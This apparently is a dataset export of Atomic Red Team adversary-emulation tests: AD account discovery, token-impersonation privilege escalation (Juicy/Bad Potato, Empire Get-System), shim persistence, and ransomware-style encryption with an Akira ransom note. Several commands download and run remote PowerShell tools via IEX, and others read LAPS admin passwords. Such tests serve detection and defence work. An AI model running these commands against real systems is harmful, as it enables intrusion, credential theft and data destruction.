deardaniel/secdata-raw huggingface dataset:
Atomic Red Team — T1087.002: Account Discovery: Domain Account
Test: Enumerate Active Directory for Unconstrained Delegation
Platforms: windows
Executor: powershell

Description:
Attackers may attempt to query for computer objects with the UserAccountControl property
'TRUSTED_FOR_DELEGATION' (0x80000;524288) set
More Information - https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html#when-the-stars-align-unconstrained-delegation-leads-to-rce
Prerequisite: AD RSAT PowerShell module is needed and it must run under a domain user


Command:
Get-ADObject -LDAPFilter '(UserAccountControl:1.2.840.113556.1.4.803:=#{uac_prop})' -Server #{domain}


Dependencies:
PowerShell ActiveDirectory Module must be installed
Atomic Red Team — T1087.002: Account Discovery: Domain Account
Test: Get-DomainUser with PowerView
Platforms: windows
Executor: powershell

Description:
Utilizing PowerView, run Get-DomainUser to identify the domain users. Upon execution, Users within the domain will be listed.


Command:
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainUser -verbose
Atomic Red Team — T1087.002: Account Discovery: Domain Account
Test: Enumerate Active Directory Users with ADSISearcher
Platforms: windows
Executor: powershell

Description:
The following Atomic test will utilize ADSISearcher to enumerate users within Active Directory.
Upon successful execution a listing of users will output with their paths in AD.
Reference: https://devblogs.microsoft.com/scripting/use-the-powershell-adsisearcher-type-accelerator-to-search-active-directory/


Command:
([adsisearcher]"objectcategory=user").FindAll(); ([adsisearcher]"objectcategory=user").FindOne()
Atomic Red Team — T1087.002: Account Discovery: Domain Account
Test: Enumerate Linked Policies In ADSISearcher Discovery
Platforms: windows
Executor: powershell

Description:
The following Atomic test will utilize ADSISearcher to enumerate organizational unit within Active Directory.
Upon successful execution a listing of users will output with their paths in AD.
Reference: https://medium.com/@pentesttas/discover-hidden-gpo-s-on-active-directory-using-ps-adsi-a284b6814c81


Command:
(([adsisearcher]'(objectcategory=organizationalunit)').FindAll()).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] OU Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
Atomic Red Team — T1087.002: Account Discovery: Domain Account
Test: Enumerate Root Domain linked policies Discovery
Platforms: windows
Executor: powershell

Description:
The following Atomic test will utilize ADSISearcher to enumerate root domain unit within Active Directory.
Upon successful execution a listing of users will output with their paths in AD.
Reference: https://medium.com/@pentesttas/discover-hidden-gpo-s-on-active-directory-using-ps-adsi-a284b6814c81


Command:
(([adsisearcher]'').SearchRooT).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] Domain Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
Atomic Red Team — T1087.002: Account Discovery: Domain Account
Test: WinPwn - generaldomaininfo
Platforms: windows
Executor: powershell

Description:
Gathers general domain information using the generaldomaininfo function of WinPwn

Command:
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
generaldomaininfo -noninteractive -consoleoutput
Atomic Red Team — T1087.002: Account Discovery: Domain Account
Test: Kerbrute - userenum
Platforms: windows
Executor: powershell

Description:
Enumerates active directory usernames using the userenum function of Kerbrute

Command:
cd "PathToAtomicsFolder\..\ExternalPayloads"
.\kerbrute.exe userenum -d #{Domain} --dc #{DomainController} "PathToAtomicsFolder\..\ExternalPayloads\username.txt"

Dependencies:
kerbrute.exe must exist in PathToAtomicsFolder\..\ExternalPayloads.

username text file must exist in PathToAtomicsFolder\..\ExternalPayloads.
Atomic Red Team — T1087.002: Account Discovery: Domain Account
Test: Wevtutil - Discover NTLM Users Remote
Platforms: windows
Executor: powershell

Description:
This test discovers users who have authenticated against a Domain Controller via NTLM. 
This is done remotely via wmic and captures the event code 4776 from the domain controller and stores the ouput in C:\temp. [Reference](https://www.reliaquest.com/blog/socgholish-fakeupdates/)


Command:
$target = $env:LOGONSERVER
$target = $target.Trim("\\")
$IpAddress = [System.Net.Dns]::GetHostAddresses($target) | select IPAddressToString -ExpandProperty IPAddressToString
wmic.exe /node:$IpAddress process call create 'wevtutil epl Security C:\\ntlmusers.evtx /q:\"Event[System[(EventID=4776)]]"'

Cleanup:
Remove-Item -Path \\$IpAddress\c$\ntlmusers.evtx
Atomic Red Team — T1087.002: Account Discovery: Domain Account
Test: Suspicious LAPS Attributes Query with Get-ADComputer all properties
Platforms: windows
Executor: powershell

Description:
This test executes LDAP query using powershell command Get-ADComputer and lists all the properties including Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime

Command:
Get-ADComputer #{hostname} -Properties *
Atomic Red Team — T1087.002: Account Discovery: Domain Account
Test: Suspicious LAPS Attributes Query with Get-ADComputer ms-Mcs-AdmPwd property
Platforms: windows
Executor: powershell

Description:
This test executes LDAP query using powershell command Get-ADComputer and lists Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime

Command:
Get-ADComputer #{hostname} -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
Atomic Red Team — T1087.002: Account Discovery: Domain Account
Test: Suspicious LAPS Attributes Query with Get-ADComputer all properties and SearchScope
Platforms: windows
Executor: powershell

Description:
This test executes LDAP query using powershell command Get-ADComputer with SearchScope as subtree and lists all the properties including Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime

Command:
Get-adcomputer -SearchScope subtree -filter "name -like '*'" -Properties *
Atomic Red Team — T1087.002: Account Discovery: Domain Account
Test: Suspicious LAPS Attributes Query with adfind all properties
Platforms: windows
Executor: powershell

Description:
This test executes LDAP query using adfind command and lists all the attributes including Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime

Command:
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" *
Atomic Red Team — T1087.002: Account Discovery: Domain Account
Test: Suspicious LAPS Attributes Query with adfind ms-Mcs-AdmPwd
Platforms: windows
Executor: powershell

Description:
This test executes LDAP query using adfind command and lists Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime

Command:
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
Atomic Red Team — T1087.002: Account Discovery: Domain Account
Test: Active Directory Domain Search
Platforms: linux
Executor: sh

Description:
Output information from LDAPSearch. LDAP Password is the admin-user password on Active Directory


Command:
ldapsearch -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{user} -w #{password} -b "CN=Users,DC=#{domain},DC=#{top_level_domain}" -s sub -a always -z 1000 dn


Dependencies:
Packages sssd-ad sssd-tools realmd adcli installed and realm available, ldapsearch
Atomic Red Team — T1087.002: Account Discovery: Domain Account
Test: Account Enumeration with LDAPDomainDump
Platforms: linux
Executor: sh

Description:
This test uses LDAPDomainDump to perform account enumeration on a domain.
[Reference](https://securityonline.info/ldapdomaindump-active-directory-information-dumper-via-ldap/)


Command:
ldapdomaindump -u #{username} -p #{password} #{target_ip} -o /tmp/T1087

Cleanup:
rm -rf /tmp/T1087/ 2>/dev/null 


Dependencies:
Python3 must be installed
Pip must be installed
The ldapdomaindump module must be installed
Atomic Red Team — T1134.001: Access Token Manipulation: Token Impersonation/Theft
Test: Named pipe client impersonation
Platforms: windows
Executor: powershell

Description:
Uses PowerShell and Empire's [GetSystem module](https://github.com/BC-SECURITY/Empire/blob/v3.4.0/data/module_source/privesc/Get-System.ps1). The script creates a named pipe, and a service that writes to that named pipe. When the service connects to the named pipe, the script impersonates its security context.
When executed successfully, the test displays the domain and name of the account it's impersonating (local SYSTEM).

Reference: https://blog.cobaltstrike.com/2014/04/02/what-happens-when-i-type-getsystem/

Command:
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/BC-SECURITY/Empire/f6efd5a963d424a1f983d884b637da868e5df466/data/module_source/privesc/Get-System.ps1' -UseBasicParsing); Get-System -Technique NamedPipe -Verbose
Atomic Red Team — T1134.001: Access Token Manipulation: Token Impersonation/Theft
Test: `SeDebugPrivilege` token duplication
Platforms: windows
Executor: powershell

Description:
Uses PowerShell and Empire's [GetSystem module](https://github.com/BC-SECURITY/Empire/blob/v3.4.0/data/module_source/privesc/Get-System.ps1). The script uses `SeDebugPrivilege` to obtain, duplicate and impersonate the token of a another process.
When executed successfully, the test displays the domain and name of the account it's impersonating (local SYSTEM).

Command:
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/BC-SECURITY/Empire/f6efd5a963d424a1f983d884b637da868e5df466/data/module_source/privesc/Get-System.ps1' -UseBasicParsing); Get-System -Technique Token -Verbose
Atomic Red Team — T1134.001: Access Token Manipulation: Token Impersonation/Theft
Test: Launch NSudo Executable
Platforms: windows
Executor: powershell

Description:
Launches the NSudo executable for a short period of time and then exits.
NSudo download observed after maldoc execution. NSudo is a system management tool for advanced users to launch programs with full privileges.

Command:
Start-Process "#{nsudo_path}" -Argument "-U:T -P:E cmd"
Start-Sleep -Second 5
Stop-Process -Name "cmd" -force -erroraction silentlycontinue


Dependencies:
NSudoLG.exe must exist in the specified path #{nsudo_path}
Atomic Red Team — T1134.001: Access Token Manipulation: Token Impersonation/Theft
Test: Bad Potato
Platforms: windows
Executor: powershell

Description:
https://github.com/BeichenDream/BadPotato
Privilege escalation using named pipe connections

Command:
cd "PathToAtomicsFolder\..\ExternalPayloads"
Start-Process .\BadPotato.exe notepad.exe
Start-Sleep -Second 20
Stop-Process -Name "notepad" -force -erroraction silentlycontinue
Stop-Process -Name "BadPotato" -force -erroraction silentlycontinue


Cleanup:
taskkill /f /im notepad.exe


Dependencies:
BadPotato.exe must exist in the temp directory
Atomic Red Team — T1134.001: Access Token Manipulation: Token Impersonation/Theft
Test: Juicy Potato
Platforms: windows
Executor: powershell

Description:
This Atomic utilizes Juicy Potato to obtain privilege escalation. 
Upon successful execution of this test, a vulnerable CLSID will be used to execute a process with system permissions.
This tactic has been previously observed in SnapMC Ransomware, amongst numerous other campaigns. 
[Reference](https://blog.fox-it.com/2021/10/11/snapmc-skips-ransomware-steals-data/)

Command:
cmd /c '#{potato_path}' -l '#{listening_port}' -t * -p '#{target_exe}' -c '#{target_CLSID}'


Cleanup:
get-ciminstance Win32_Process | where-object { $_.Path -eq "#{target_exe}" } | invoke-cimmethod -methodname "terminate" | out-null
get-ciminstance Win32_Process | where-object { $_.Path -eq "#{potato_path}" } | invoke-cimmethod -methodname "terminate" | out-null


Dependencies:
JuicyPotato.exe must exist on disk
Atomic Red Team — T1546.011: Event Triggered Execution: Application Shimming
Test: Application Shim Installation
Platforms: windows
Executor: command_prompt

Description:
Install a shim database. This technique is used for privilege escalation and bypassing user access control.
Upon execution, "Installation of AtomicShim complete." will be displayed. To verify the shim behavior, run 
the AtomicTest.exe from the <PathToAtomicsFolder>\\T1546.011\\bin directory. You should see a message box appear
with "Atomic Shim DLL Test!" as defined in the AtomicTest.dll. To better understand what is happening, review
the source code files is the <PathToAtomicsFolder>\\T1546.011\\src directory.


Command:
sdbinst.exe "#{file_path}"


Cleanup:
sdbinst.exe -u "#{file_path}" >nul 2>&1


Dependencies:
Shim database file must exist on disk at specified location (#{file_path})

AtomicTest.dll must exist at c:\Tools\AtomicTest.dll
Atomic Red Team — T1546.011: Event Triggered Execution: Application Shimming
Test: New shim database files created in the default shim database directory
Platforms: windows
Executor: powershell

Description:
Upon execution, check the "C:\Windows\apppatch\Custom\" folder for the new shim database

https://www.fireeye.com/blog/threat-research/2017/05/fin7-shim-databases-persistence.html


Command:
Copy-Item "$PathToAtomicsFolder\T1546.011\bin\T1546.011CompatDatabase.sdb" C:\Windows\apppatch\Custom\T1546.011CompatDatabase.sdb
Copy-Item "$PathToAtomicsFolder\T1546.011\bin\T1546.011CompatDatabase.sdb" C:\Windows\apppatch\Custom\Custom64\T1546.011CompatDatabase.sdb


Cleanup:
Remove-Item C:\Windows\apppatch\Custom\T1546.011CompatDatabase.sdb -ErrorAction Ignore
Remove-Item C:\Windows\apppatch\Custom\Custom64\T1546.011CompatDatabase.sdb -ErrorAction Ignore
Atomic Red Team — T1546.011: Event Triggered Execution: Application Shimming
Test: Registry key creation and/or modification events for SDB
Platforms: windows
Executor: powershell

Description:
Create registry keys in locations where fin7 typically places SDB patches. Upon execution, output will be displayed describing
the registry keys that were created. These keys can also be viewed using the Registry Editor.

https://www.fireeye.com/blog/threat-research/2017/05/fin7-shim-databases-persistence.html


Command:
New-ItemProperty -Path HKLM:"\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Custom" -Name "AtomicRedTeamT1546.011" -Value "AtomicRedTeamT1546.011"
New-ItemProperty -Path HKLM:"\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\InstalledSDB" -Name "AtomicRedTeamT1546.011" -Value "AtomicRedTeamT1546.011"


Cleanup:
Remove-ItemProperty -Path HKLM:"\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Custom" -Name "AtomicRedTeamT1546.011" -ErrorAction Ignore
Remove-ItemProperty -Path HKLM:"\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\InstalledSDB" -Name "AtomicRedTeamT1546.011" -ErrorActi
Atomic Red Team — T1486: Data Encrypted for Impact
Test: Encrypt files using gpg (FreeBSD/Linux)
Platforms: linux
Executor: sh

Description:
Uses gpg to encrypt a file


Command:
echo "#{pwd_for_encrypted_file}" | $which_gpg --batch --yes --passphrase-fd 0 --cipher-algo #{encryption_alg} -o #{encrypted_file_path} -c #{input_file_path}


Cleanup:
rm #{encrypted_file_path}


Dependencies:
Finds where gpg is located
Atomic Red Team — T1486: Data Encrypted for Impact
Test: Encrypt files using 7z (FreeBSD/Linux)
Platforms: linux
Executor: sh

Description:
Uses 7z to encrypt a file


Command:
$which_7z a -p#{pwd_for_encrypted_file} #{encrypted_file_path} #{input_file_path}


Cleanup:
$which_7z e #{encrypted_file_path}
rm #{encrypted_file_path}


Dependencies:
Finds where 7z is located
Atomic Red Team — T1486: Data Encrypted for Impact
Test: Encrypt files using ccrypt (FreeBSD/Linux)
Platforms: linux
Executor: sh

Description:
Attempts to encrypt data on target systems as root to simulate an interruption authentication to target system. If root permissions are not available then attempts to encrypt data within user's home directory.


Command:
which_ccencrypt=`which ccencrypt`
cp #{root_input_file_path} #{cped_file_path};
$which_ccencrypt -T -K #{pwd_for_encrypted_file} #{cped_file_path}


Cleanup:
rm #{cped_file_path}.cpt


Dependencies:
Finds where ccencrypt and ccdecrypt are located
Atomic Red Team — T1486: Data Encrypted for Impact
Test: Encrypt files using openssl (FreeBSD/Linux)
Platforms: linux
Executor: sh

Description:
Uses openssl to encrypt a file


Command:
which_openssl=`which openssl`
$which_openssl genrsa -out #{private_key_path} #{encryption_bit_size}
$which_openssl rsa -in #{private_key_path} -pubout -out #{public_key_path}
$which_openssl rsautl -encrypt -inkey #{public_key_path} -pubin -in #{input_file_path} -out #{encrypted_file_path}


Cleanup:
$which_openssl rsautl -decrypt -inkey #{private_key_path} -in #{encrypted_file_path}
rm #{encrypted_file_path}


Dependencies:
Finds where openssl is located
Atomic Red Team — T1486: Data Encrypted for Impact
Test: PureLocker Ransom Note
Platforms: windows
Executor: command_prompt

Description:
building the IOC (YOUR_FILES.txt) for the PureLocker ransomware 
https://www.bleepingcomputer.com/news/security/purelocker-ransomware-can-lock-files-on-windows-linux-and-macos/


Command:
echo T1486 - Purelocker Ransom Note > %USERPROFILE%\Desktop\YOUR_FILES.txt


Cleanup:
del %USERPROFILE%\Desktop\YOUR_FILES.txt >nul 2>&1
Atomic Red Team — T1486: Data Encrypted for Impact
Test: Encrypt files using 7z utility - macOS
Platforms: macos
Executor: sh

Description:
This test encrypts the file(s) using the 7z utility


Command:
7z a -p #{file_password} -mhe=on #{encrypted_file_name} #{input_file_path}


Cleanup:
rm #{encrypted_file_name}


Dependencies:
Check if 7z command exists on the machine
Atomic Red Team — T1486: Data Encrypted for Impact
Test: Encrypt files using openssl utility - macOS
Platforms: macos
Executor: sh

Description:
This test encrypts the file(s) using the openssl utility


Command:
openssl enc #{encryption_option} -in #{input_file_path} -out #{output_file_name}


Cleanup:
rm #{output_file_name}
Atomic Red Team — T1486: Data Encrypted for Impact
Test: Data Encrypted with GPG4Win
Platforms: windows
Executor: powershell

Description:
Gpg4win is a Windows tool (also called Kleopatra which is the preferred certificate manager) that uses email and file encryption packages for symmetric encryption. It is used by attackers to encrypt disks. User will need to add pass phrase to encrypt file as automation is not allowed under newer versions.

Command:
Set-Content -Path "#{File_to_Encrypt_Location}" -Value "populating this file with some text"  # Create the test.txt file again in case prereqs failed
cmd /c "`"C:\Program Files (x86)\GnuPG\bin\gpg.exe`" --passphrase 'SomeParaphraseBlah' --batch --yes -c `"#{File_to_Encrypt_Location}`""


Cleanup:
Remove-Item -Path "#{File_to_Encrypt_Location}" -Force -ErrorAction SilentlyContinue
Remove-Item -Path "#{File_to_Encrypt_Location}.gpg" -Force -ErrorAction SilentlyContinue


Dependencies:
GPG must exist at (#{GPG_Exe_Location}). If -GetPrereqs fails, try to install GPG4WIN manually at 'https://www.gpg4win.org/download.html'. Once done, run -CheckPrereqs to confirm that it works.
Atomic Red Team — T1486: Data Encrypted for Impact
Test: Data Encrypt Using DiskCryptor
Platforms: windows
Executor: command_prompt

Description:
DiskCryptor, an open source encryption utility, can be exploited by adversaries for encrypting all disk partitions, including system partitions. This tool was identified in a ransomware campaign, as reported on https://thedfirreport.com/2021/11/15/exchange-exploit-leads-to-domain-wide-ransomware/. The documentation for DiskCryptor can be found at https://github.com/DavidXanatos/DiskCryptor. During the installation process, running dcrypt.exe starts the encryption console. It's important to note that a system reboot is necessary as part of the installation.


Command:
""%PROGRAMFILES%\dcrypt"\#{dcrypt_exe}"


Dependencies:
dcrypt_setup will be installed at specified location (#{dcrypt_exe})
Atomic Red Team — T1486: Data Encrypted for Impact
Test: Akira Ransomware drop Files with .akira Extension and Ransomnote
Platforms: windows
Executor: powershell

Description:
Dropping 100 files with random content and .akira File Extension and the Akira Ransomnote to c:\


Command:
1..100 | ForEach-Object { $out = new-object byte[] 1073741; (new-object Random).NextBytes($out); [IO.File]::WriteAllBytes("c:\test.$_.akira", $out) }
echo "Hi friends" >> $env:Userprofile\Desktop\akira_readme.txt
echo "" >> $env:Userprofile\Desktop\akira_readme.txt
echo "Whatever who you are and what your title is if you' re reading this it means the internal infrastructure of your company is fully or partially dead, all your backups - virtual, physical - everything that we managed to reach - are completely removed. Moreover, we have taken a great amount of your corporate data prior to encryption  Well, for now let's keep all the tears and resentment to ourselves and try to build a constructive dialogue. We're fully aware of what damage we caused by locking your internal sources. At the mo

Cleanup:
del $env:Userprofile\Desktop\akira_readme.txt 
del c:\test.*.akira